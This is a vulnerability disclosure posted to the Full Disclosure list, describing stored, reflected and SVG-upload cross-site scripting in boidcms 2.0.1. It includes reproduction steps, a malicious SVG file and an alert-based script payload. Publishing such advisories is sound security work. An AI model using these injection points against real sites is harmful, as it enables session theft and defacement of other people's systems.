full-disclosure - [FD] Multiple XSS Issues in boidcmsv2.0.1

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Date: Sat, 2 Mar 2024 21:26:52 +0000
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Multiple XSS Issues in boidcmsv2.0.1

# Exploit Title: Multiple XSS Issues in boidcmsv2.0.1
# Date: 3/2024
# Exploit Author: Andrey Stoykov
# Version: 2.0.1
# Tested on: Ubuntu 22.04
# Blog: http://msecureltd.blogspot.com

XSS via SVG File Upload

Steps to Reproduce:

1. Login with admin user
2. Visit "Media" page
3. Upload xss.svg
4. Click "View" and XSS payload will execute

// xss.svg contents

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
   <script type="text/javascript">
      alert(`XSS`);
   </script>
</svg>

Reflected XSS:

Steps to Reproduce:

1. Login as admin
2. Visit "Media" page
3. Click "Delete" and intercept the HTTP GET request
4. In "file" parameter add the payload "<script>alert(1)</script>"
5. After forwarding the HTTP GET request a browser popup would surface

Stored XSS:

Steps to Reproduce:

1. Login as admin
2. Visit "Settings" page
3. Enter XSS payload in "Title", "Subtitle", "Footer"
4. Then visit the blog page
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